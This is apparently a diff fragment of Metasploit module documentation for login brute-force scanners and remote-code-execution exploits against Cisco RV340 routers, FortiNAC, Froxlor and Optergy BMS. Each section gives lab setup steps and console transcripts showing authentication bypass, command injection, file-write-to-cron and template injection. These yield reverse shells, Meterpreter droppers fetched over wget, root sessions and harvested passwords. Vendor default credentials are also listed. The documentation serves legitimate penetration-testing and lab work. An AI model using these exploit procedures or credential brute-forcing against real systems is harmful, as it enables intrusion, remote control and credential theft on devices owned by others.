```
|
||||
192.168.50.71
|
||||
192.168.50.119
|
||||
192.168.50.206
|
||||
```
|
||||
|
||||
Module output:
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/softing_sis_login
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS file:/home/ubuntu/Documents/targets.txt
|
||||
RHOSTS => file:/home/ubuntu/Documents/targets.txt
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set USER_FILE ~/Documents/usernames.txt
|
||||
USER_FILE => ~/Documents/usernames.txt
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set PASS_FILE ~/Documents/passwords.txt
|
||||
PASS_FILE => ~/Documents/passwords.txt
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set VERBOSE false
|
||||
VERBOSE => false
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > run
|
||||
|
||||
[+] 192.168.50.71:8099 - Success: 'admin:P@ssw0rd'
|
||||
[*] Scanned 1 of 3 hosts (33% complete)
|
||||
[+] 192.168.50.119:8099 - Success: 'admin:admin'
|
||||
[*] Scanned 2 of 3 hosts (66% complete)
|
||||
[+] 192.168.50.206:8099 - Success: 'admin:pass123'
|
||||
[+] 192.168.50.206:8099 - Success: 'admin1:admin123'
|
||||
[*] Scanned 3 of 3 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
|
||||
Note that `VERBOSE` was set to `false` in this scenario to reduce amount of output on screen.
|
||||
By default, `VERBOSE` is set to true, which also outputs failed login attempts.
|
||||
|
||||
`creds` output:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.50.71 192.168.50.71 8099/tcp (http) admin P@ssw0rd Password
|
||||
192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password
|
||||
192.168.50.206 192.168.50.206 8099/tcp (http) admin pass123 Password
|
||||
192.168.50.206 192.168.50.206 8099/tcp (http) admin1 admin123 Password
|
||||
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
@@ -0,0 +1,66 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will attempt to authenticate to Wowza Streaming Engine
|
||||
via Wowza Streaming Engine Manager web interface.
|
||||
|
||||
|
||||
## Installation Steps
|
||||
|
||||
Download and install [Wowza Streaming Engine](https://portal.wowza.com/account/downloads).
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use modules/auxiliary/scanner/http/wowza_streaming_engine_manager_login`
|
||||
1. Do: `set rhosts <rhosts>`
|
||||
1. Do: `run`
|
||||
1. On success you should get valid credentials.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
The username for Wowza Streaming Engine Manager.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password for Wowza Streaming Engine Manager.
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The path to Wowza Streaming Engine Manager.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
### Wowza Streaming Engine Manager Version 4.8.20+1 (build 20220919162035) on Ubuntu 22.04
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/wowza_streaming_engine_manager_login
|
||||
msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > set rhosts 192.168.200.158
|
||||
rhosts => 192.168.200.158
|
||||
msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > set username user
|
||||
username => user
|
||||
msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > set pass_file data/wordlists/unix_passwords.txt
|
||||
pass_file => data/wordlists/unix_passwords.txt
|
||||
msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > run
|
||||
|
||||
[+] 192.168.200.158:8088 - Found Wowza Streaming Engine Manager
|
||||
[-] 192.168.200.158:8088 - Failed: 'user:admin'
|
||||
[-] 192.168.200.158:8088 - Failed: 'user:123456'
|
||||
[-] 192.168.200.158:8088 - Failed: 'user:12345'
|
||||
[-] 192.168.200.158:8088 - Failed: 'user:123456789'
|
||||
[+] 192.168.200.158:8088 - Success: 'user:password'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/wowza_streaming_engine_manager_login) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.200.158 192.168.200.158 8088/tcp (http) user password Password
|
||||
```
|
||||
@@ -0,0 +1,97 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits two vulnerabilities, an authentication bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707),
|
||||
to execute code on Cisco RV160, RV260, RV340, and RV345 Small Business Routers prior to 1.0.03.26 as the
|
||||
`www-data` user. The command injection occurs in the `upload.cgi` script, where user input in the `data` POST parameter
|
||||
is passed to `curl` without any sanitization. Additionally, the `sessionid` session cookie can be abused for a path
|
||||
traversal vulnerability, which can be used to bypass authentication by setting `sessionid` to the path to a valid
|
||||
file on the target.
|
||||
|
||||
This module has been tested against an RV340 device running firmware version 1.0.03.24.
|
||||
Firmware version 1.0.03.26 patches these vulnerabilities.
|
||||
|
||||
### Installation
|
||||
|
||||
Firmware version 1.0.03.24, which is vulnerable to CVE-2022-20705 and CVE-2022-20707, can be downloaded from
|
||||
https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.24
|
||||
|
||||
To install this firmware, follow the following directions:
|
||||
1. Log into the modem. The default IP address is 192.168.1.1 and the default credentials
|
||||
are `cisco` for the username and password.
|
||||
2. The `administration` option on the left side of the web page will take you to a form
|
||||
with a `Manual Upgrade` section.
|
||||
3. Leave `File Type: ` on the default `Firmware Image` option.
|
||||
4. Change `Upgrade From:` option to `PC`.
|
||||
5. Press the `Upgrade` button.
|
||||
6. Press `Yes` on the message box asking `Are you sure you want to upgrade the firmware right now?`.
|
||||
7. Wait for router reboot to complete.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the vulnerable firmware
|
||||
2. Start `msfconsole`
|
||||
3. Do: `use modules/exploits/linux/http/cisco_rv340_lan`
|
||||
4. Do: `set lhost <listening ip>`
|
||||
5. Do: `set rhost <target ip>`
|
||||
6. Do: `exploit`
|
||||
7. Verify: You see the message `Exploit successfully executed` confirming the exploit completed
|
||||
8. Verify: You are the `www-data` user using the `id` command
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_netcat payload
|
||||
|
||||
```
|
||||
msf6 > use modules/exploits/linux/http/cisco_rv340_lan
|
||||
[*] Using configured payload cmd/unix/reverse_netcat
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142
|
||||
lhost => 192.168.1.142
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.142:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. The device responded to exploitation with a 200 OK.
|
||||
[*] Executing Unix Command for cmd/unix/reverse_netcat
|
||||
[*] Command shell session 1 opened (192.168.1.142:4444 -> 192.168.1.1:55885) at 2023-02-05 10:06:22 -0500
|
||||
[+] Exploit successfully executed.
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
### Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_tcp ARMLE Meterpreter payload
|
||||
|
||||
```
|
||||
msf6 > use modules/exploits/linux/http/cisco_rv340_lan
|
||||
[*] Using configured payload cmd/unix/reverse_netcat
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142
|
||||
lhost => 192.168.1.142
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/cisco_rv340_lan) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.142:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. The device responded to exploitation with a 200 OK.
|
||||
[*] Executing Linux Dropper for linux/armle/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.1.142:8080/3b2NfBKR0OS
|
||||
[*] Client 192.168.1.1 (Wget) requested /3b2NfBKR0OS
|
||||
[*] Sending payload to 192.168.1.1 (Wget)
|
||||
[*] Sending stage (934728 bytes) to 192.168.1.1
|
||||
[+] Exploit successfully executed.
|
||||
[*] Command Stager progress - 100.00% done (117/117 bytes)
|
||||
[*] Meterpreter session 2 opened (192.168.1.142:4444 -> 192.168.1.1:55950) at 2023-02-05 10:12:37 -0500
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > shell
|
||||
Process 11012 created.
|
||||
Channel 1 created.
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
@@ -0,0 +1,192 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module uploads a payload to the `/tmp` directory in addition to a cron job to `/etc/cron.d` which executes the payload
|
||||
in the context of the `root` user.
|
||||
|
||||
The core vulnerability is an arbitrary file write issue in `/configWizard/keyUpload.jsp` which is accessible remotely and without
|
||||
authentication. When you send this endpoint a ZIP file, it will extract an an attacker controlled file to directory
|
||||
on the system of the attacker's choice.
|
||||
|
||||
This issue is exploitable on the following versions of FortiNAC:
|
||||
|
||||
- FortiNAC version 9.4 prior to 9.4.1
|
||||
- FortiNAC version 9.2 prior to 9.2.6
|
||||
- FortiNAC version 9.1 prior to 9.1.8
|
||||
- FortiNAC 8.8 all versions
|
||||
- FortiNAC 8.7 all versions
|
||||
- FortiNAC 8.6 all versions
|
||||
- FortiNAC 8.5 all versions
|
||||
- FortiNAC 8.3 all versions
|
||||
|
||||
### Setup
|
||||
|
||||
Navigate to https://www.fortinet.com/demo-center/nac-demo to obtain a FortiNAC free product demo. Fill out the
|
||||
necessary fields in order to download: first name, last name, job function, job level, company, email address, phone
|
||||
number, state, zip/postal code. You'll receive a confirmation email; click the link in the email in order to access the
|
||||
free product download.
|
||||
|
||||
Import the OVA file into your virtualization software of choice. Personally, I had success using VMWare Fusion. Note
|
||||
that when using VMWare products, you will need to use a tool such as 7-Zip to unzip the `.ova` file, find the manifest
|
||||
file contained within, which will end with `.mf`, and then rezip the file again. This is due to a bug noted at
|
||||
https://github.com/home-assistant/operating-system/issues/2121
|
||||
|
||||
Personally I just navigated to the `.ova` file in Windows, right clicked, and chose `7-Zip`, then `Open Archive`,
|
||||
and then deleted the `.mf` file that appeared before closing 7-Zip, which did the trick. Once this is done you
|
||||
can then import the OVA file into VMWare fine.
|
||||
|
||||
Once the OVA file has been imported, but before starting the machine, if you are using VMWare, go into
|
||||
`Edit->Virtual Network Editor` and look at the `Subnet Address` section for the `Host Only` adapter. You will
|
||||
need this for later sections.
|
||||
|
||||
Next change the two interfaces of the imported machine from Bridged to Host Only. Then turn the machine on.
|
||||
Once the machine turns on, log in with the following default credentials as outlined in the
|
||||
[VMware Virtual Machine Installation Guide](https://fortinetweb.s3.amazonaws.com/docs.fortinet.com/v2/attachments/920a0000-200d-11e9-b6f6-f8bc1258b856/fortinac-vmware-install-85.pdf):
|
||||
|
||||
```
|
||||
Username: root
|
||||
Password: 162PemBnI
|
||||
```
|
||||
|
||||
Once authenticated successfully, statically set the IP address of the machine using the subnet information you obtained
|
||||
earlier. In our case the subnet was `192.168.123.0/24` so we just set the gateway to `192.168.123.1` and set the IP address
|
||||
of the machine to `192.168.123.11/24` to set it to a static IP address that is available on this subnet. Be sure to update
|
||||
these commands and any of the following commands to replace `192.168.123.11` and `192.168.123.1` with the appropriate
|
||||
gateway and host IP addresses.
|
||||
|
||||
`configIP 192.168.123.11 255.255.255.0 192.168.123.1`
|
||||
|
||||
Navigate to the directory where the license file resides, and then start a Python SimpleHTTPServer web server to
|
||||
host files from this directory using the following commands:
|
||||
|
||||
```
|
||||
cd /bsc/campusMgr
|
||||
python -m SimpleHTTPServer 9099
|
||||
```
|
||||
|
||||
On your local machine download the license file from the Python server started above:
|
||||
|
||||
`wget -O licenseKey http://192.168.123.11:9099/.licenseKey`
|
||||
|
||||
On your local machine, open the browser of your choice and navigate to:
|
||||
|
||||
`https://192.168.123.11:8443/gui`
|
||||
|
||||
Authenticate with the default username and password:
|
||||
|
||||
```
|
||||
Username: root
|
||||
Password: YAMS
|
||||
```
|
||||
|
||||
When installing the software, first accept the license agreement. Then upload the license key, providing the
|
||||
the `.licenseKey` file you downloaded from the Python HTTP server and click `Next`. Under `Change Default Passwords`,
|
||||
set a username and password for a new admin account that can log in via the GUI, and under `CLI Accounts` set a new
|
||||
password for the `root` user to log in via the CLI of the console.
|
||||
|
||||
Under the `Select Installation Method` section, select `Manual Installation` and click `OK`. You should be redirected to
|
||||
a URL that looks like `https://192.168.116.12:8443/gui/system/config-wizard` and be prompted to provide a license key.
|
||||
Just provide the same `.licenseKey` file you downloaded, same procedure and key as you provided earlier and click `OK`.
|
||||
|
||||
At this point you should see a page with a header named `BASIC NETWORK`. Set the `Host Name (Do not include domain)`
|
||||
field to `localhost` and then under `DNS` section, set the `Domain [example: yourdomain.com]` to `localhost.localdomain`.
|
||||
Finally set the `Network Type` to `None`. This is a not a hard requirement but it will save you a lot of
|
||||
unnecessary setup. Click `Next` and then `Apply` and click `OK` on the popup that appears.
|
||||
|
||||
Once this is done, you will be required to change the default passwords from the GUI and once complete,
|
||||
restart the machine by clicking on the `Restart` button. One the machine reboots, you should have a
|
||||
vulnerable instance of FortiNAC configured.
|
||||
|
||||
## Options
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/multi/http/fortinac_keyupload_file_upload`
|
||||
1. Set the `RHOST` and `LHOST` options
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `root` user.
|
||||
|
||||
## Scenarios
|
||||
### FortiNAC 9.4.0 CMD Target
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/fortinac_keyupload_file_write
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11
|
||||
rhosts => 192.168.123.11
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 4044
|
||||
lport => 4044
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4044
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Target indicated a successful upload occurred!
|
||||
[*] Sending zipped cron job to /configWizard/keyUpload.jsp
|
||||
[*] Waiting for cron job to run
|
||||
[*] Sending stage (24772 bytes) to 192.168.123.11
|
||||
[*] Meterpreter session 1 opened (192.168.123.1:4044 -> 192.168.123.11:59938) at 2023-03-09 17:01:02 -0500
|
||||
[!] This exploit may require manual cleanup of '/etc/cron.d/ZlzEXbWF' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localhost.localdomain
|
||||
OS : Linux 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### FortiNAC 9.4.0 Linux x64 Target
|
||||
```
|
||||
msf6 > use exploit/linux/http/fortinac_keyupload_file_write
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > show targets
|
||||
|
||||
Exploit targets:
|
||||
=================
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 CMD
|
||||
1 Linux x86
|
||||
2 Linux x64
|
||||
|
||||
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11
|
||||
rhosts => 192.168.123.11
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 9909
|
||||
lport => 9909
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:9909
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Target indicated a successful upload occurred!
|
||||
[*] Sending zipped payload to /configWizard/keyUpload.jsp
|
||||
[*] Sending zipped cron job to /configWizard/keyUpload.jsp
|
||||
[*] Waiting for cron job to run
|
||||
[*] Sending stage (3045348 bytes) to 192.168.123.11
|
||||
[*] Meterpreter session 3 opened (192.168.123.1:9909 -> 192.168.123.11:38266) at 2023-03-09 17:31:01 -0500
|
||||
[!] This exploit may require manual cleanup of '/tmp/HcYciseH' on the target
|
||||
[!] This exploit may require manual cleanup of '/etc/cron.d/DsxejZgV' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localhost.localdomain
|
||||
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Froxlor is an open source web hosting control panel. Froxlor v2.0.7 and below suffers from a bug that allows
|
||||
authenticated users to change the application logs path to any directory on the OS level which the user www-data can
|
||||
write without restrictions from the backend which leads to writing a malicious Twig template that the application will
|
||||
render. That will lead to achieving a remote command execution under the user www-data.
|
||||
|
||||
### Setup
|
||||
Install php 8.1 and MySQL. Download the vulnerable Froxlor application and place it in Ubuntu's default webroot. The
|
||||
below instruction set should be able to be copy and pasted into a terminal in order to deploy a vulnerable application.
|
||||
```
|
||||
sudo add-apt-repository ppa:ondrej/php
|
||||
sudo apt install php8.1
|
||||
sudo apt install php8.1-common php8.1-mysql php8.1-xml php8.1-xmlrpc php8.1-curl php8.1-gd php8.1-imagick php8.1-cli php8.1-dev php8.1-imap php8.1-mbstring php8.1-opcache php8.1-soap php8.1-zip php8.1-redis php8.1-intl php8.1-gmp php8.1-bcmath -y
|
||||
wget https://files.froxlor.org/releases/froxlor-2.0.3.tar.gz
|
||||
gunzip froxlor-2.0.3.tar.gz
|
||||
tar -xvf froxlor-2.0.3.tar
|
||||
sudo rm /var/www/html/index.html
|
||||
sudo cp -r froxlor /var/www/html/
|
||||
cd /var/www/html/
|
||||
sudo chown -R www-data:www-data ./
|
||||
sudo apt install mysql-server
|
||||
`sudo systemctl start mysql.service`
|
||||
sudo mysql
|
||||
mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'notpassword';
|
||||
mysql> quit;
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
|
||||
After the above completes successfully, navigate to http://localhost/froxlor to finish the web-based portion of the
|
||||
installation. Accept the EULA and input the database credentials and then start the application.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The base URI path of Froxlor. **Default: /froxlor**
|
||||
|
||||
### WEB_ROOT
|
||||
|
||||
The webroot of the Froxlor server. The webroot must be known in order to write the absolute path of the logfile. The
|
||||
default options assumes Froxlor is installed on an Ubuntu machine: **Default: /var/www/html**
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/froxlor_log_path_rce`
|
||||
1. Set the `RHOSTS`, `LHOST`, `USERNAME`, and `PASSWORD` options
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `root` user.
|
||||
|
||||
## Scenarios
|
||||
### Ubuntu 20.04, Froxlor 2.0.3 running on Apache, MySQL and PHP 8.1
|
||||
```
|
||||
msf6 > use exploit/linux/http/froxlor_log_path_rce
|
||||
[*] Using exploit/linux/http/froxlor_log_path_rce
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > set rhosts 172.16.199.140
|
||||
rhosts => 172.16.199.140
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > set lhost 172.16.199.1
|
||||
lhost => 172.16.199.1
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > set lport 9191
|
||||
lport => 9191
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > set username admin
|
||||
username => admin
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > set password notpassword
|
||||
password => notpassword
|
||||
msf6 exploit(linux/http/froxlor_log_path_rce) > rexploit
|
||||
[*] Reloading module...
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.199.1:9191
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] Successful login
|
||||
[+] The target appears to be vulnerable. Vulnerable version found: 2.0.3
|
||||
[+] Successfully Logged in!
|
||||
[+] CSRF token is : 5701b7e6335ab13e20e91845b210b6be0bea7621
|
||||
[+] Changed logfile path to: /var/www/html/froxlor/templates/Froxlor/footer.html.twig
|
||||
[*] Using URL: http://172.16.199.1:8080/ygs3pAWMRNIs
|
||||
[+] Injected payload sucessfully
|
||||
[*] Changing logfile path back to default value while triggering payload: /var/www/html/froxlor/logs/froxlor.log
|
||||
[*] Client 172.16.199.140 (Wget/1.20.3 (linux-gnu)) requested /ygs3pAWMRNIs
|
||||
[*] Sending payload to 172.16.199.140 (Wget/1.20.3 (linux-gnu))
|
||||
[*] Sending stage (3045348 bytes) to 172.16.199.140
|
||||
[*] Cleaning up...
|
||||
[*] Deleting tampered footer.html.twig file
|
||||
[*] Rewriting clean footer.html.twig file
|
||||
[*] Meterpreter session 3 opened (172.16.199.1:9191 -> 172.16.199.140:50398) at 2023-02-13 18:20:02 -0500
|
||||
[*] Command Stager progress - 100.00% done (117/117 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.199.140
|
||||
OS : Ubuntu 20.04 (Linux 5.15.0-58-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,174 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an undocumented backdoor vulnerability (CVE-2019-7276) in the Optergy Proton and Enterprise
|
||||
Building Management System (BMS) applications. Versions `2.0.3a` and below are vulnerable.
|
||||
Attackers can exploit this issue by directly navigating to an undocumented backdoor script called `Console.jsp`
|
||||
in the tools directory and gain full system access.
|
||||
Successful exploitation results in `root` command execution using `sudo` as user `optergy`.
|
||||
|
||||
Please check out this [AttackerKB Article](https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276) for more info.
|
||||
|
||||
Installing a vulnerable test bed requires a Linux machine with the vulnerable software loaded.
|
||||
Follow instructions [Optergy OVA Download](https://github.com/h00die-gr3y/Metasploit/tree/main/images),
|
||||
to download an OVA image with a vulnerable Optergy Proton application (v2.0.3a) installed.
|
||||
|
||||
This module has been tested against a Optergy Proton installation with the specifications listed below:
|
||||
|
||||
* Optergy Proton
|
||||
* Version: `2.0.3a`
|
||||
* Linux OS: Debian 7.11
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276`
|
||||
1. `set RHOSTS <TARGET HOSTS>`
|
||||
1. `set RPORT <port>`
|
||||
1. `set LHOST <attacker host ip>`
|
||||
1. `set LPORT <attacker host port>`
|
||||
1. `set TARGET <0-Unix command, 1-Linux Dropper>`
|
||||
1. `exploit`
|
||||
1. You should get a `bash` shell or `meterpreter` session depending on the target and payload settings.
|
||||
|
||||
## Options
|
||||
Option SUDO can be set to escalate to root privileges. Default setting is false.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Optergy Proton 2.0.3a on Debian Linux 7.11 - bash reverse shell
|
||||
```
|
||||
msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > check
|
||||
[+] 192.168.201.31:80 - The target is vulnerable.
|
||||
msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > options
|
||||
|
||||
Module options (exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.201.31 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploi
|
||||
t/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
SUDO false yes Set the sudo option to get root privileges
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an addres
|
||||
s on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.201.10 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Executing Unix Command for cmd/unix/reverse_bash
|
||||
[*] Command shell session 1 opened (192.168.201.10:4444 -> 192.168.201.31:43322) at 2023-03-22 12:45:22 +0000
|
||||
|
||||
whoami
|
||||
optergy
|
||||
uname -a
|
||||
Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.96-2 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 192.168.201.31 - Command shell session 1 closed.
|
||||
```
|
||||
### Optergy Proton 2.0.3a on Debian Linux 7.11 - Linux Dropper Meterpreter session
|
||||
```
|
||||
msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > options
|
||||
|
||||
Module options (exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.201.31 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploi
|
||||
t/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
SUDO false yes Set the sudo option to get root privileges
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an addres
|
||||
s on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.201.10 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Linux Dropper
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.10:4444
|
||||
